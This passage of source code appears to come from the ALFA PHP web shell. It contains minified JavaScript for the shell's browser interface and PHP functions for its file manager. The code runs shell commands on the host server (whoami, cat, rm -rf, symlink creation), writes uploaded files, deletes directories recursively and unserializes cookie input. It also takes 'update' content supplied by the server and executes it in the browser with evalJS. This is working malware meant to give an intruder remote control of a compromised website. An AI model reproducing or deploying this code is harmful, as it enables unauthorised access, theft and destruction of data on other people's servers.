o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's​';
elseif (($p & 0xA000) == 0xA000)$i = 'l​';
elseif (($p & 0x8000) == 0x8000)$i = '-​';
elseif (($p & 0x6000) == 0x6000)$i = 'b​';
elseif (($p & 0x4000) == 0x4000)$i = 'd​';
elseif (($p & 0x2000) == 0x2000)$i = 'c​';
elseif (($p & 0x1000) == 0x1000)$i = 'p​';
else $i = 'u​';
$i .= (($p & 0x0100) ? 'r​' : '-');
$i .= (($p & 0x0080) ? 'w​' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
$i .= (($p & 0x0020) ? 'r​' : '-');
$i .= (($p & 0x0010) ? 'w​' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
$i .= (($p & 0x0004) ? 'r​' : '-');
$i .= (($p & 0x0002) ? 'w​' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
return true;
}
if(strlen(alfaEx("whoami",false,$cgi))>0){
$_COOKIE["alfa_canruncmd"] = true;
return true;
}
return false;
}
function _alfa_symlink($target, $link){
$phpsym = function_exists("symlink");
if($phpsym){
@symlink($target, $link);
}else{
alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
}
}
function _alfa_file_exists($file,$cgi=true){
if(@file_exists($file)){
return true;
}else{
if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
return true;
}
}
return false;
}
function _alfa_file($file,$cgi=true){
$array = @file($file);
if(!$array){
if(strlen(alfaEx("id",false,$cgi))>0){
$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
if(strlen($data)>0){
return explode("\n", $data);
}else{
return false;
}
}else{
return false;
}
}else{
return $array;
}
}
function _alfa_is_writable($file){
$check = false;
$check = @is_writable($file);
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
$check = true;
}else{
$check = false;
}
}
}
return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
$check = false;
$check = @is_dir($dir);
if($mode == "-e"){
$check = @is_file($dir);
}
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
return true;
}else{
return false;
}
}
}
return $check;
}
function _alfa_load_ace_options($base){
return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2(){
alfahead();
AlfaNum(8,9,10,7,6,5,4);
echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
$alfa_canruncmd = _alfa_can_runCommand(true,true);
$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
if(@move_uploaded_file($file['tmp_name'],$file['name'])){
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
$file_perm = alfaPermsColor($file['name']);
$file_size = @filesize($file['name']);
$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
}
}
}
if(!$move_cmd_file){
echo json_encode($ret_files);
}
}else{
echo "noperm";
return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
if(_alfa_can_runCommand(true,true)){
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
}else{
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}
}else{
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
if(!@mkdir(trim($_POST['alfa2']))){
echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}else{
echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
}
}else{
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
if(_alfa_can_runCommand(true,true)){
alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
$source = rawurldecode(@$_POST['alfa2']);
if($source!='..'&&!empty($source)){
if(_alfa_can_runCommand(true,true)){
alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
}
}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
$path = explode('/', $res[1]);
array_pop($path);
$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
if(_alfa_can_runCommand(true,true)){
$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
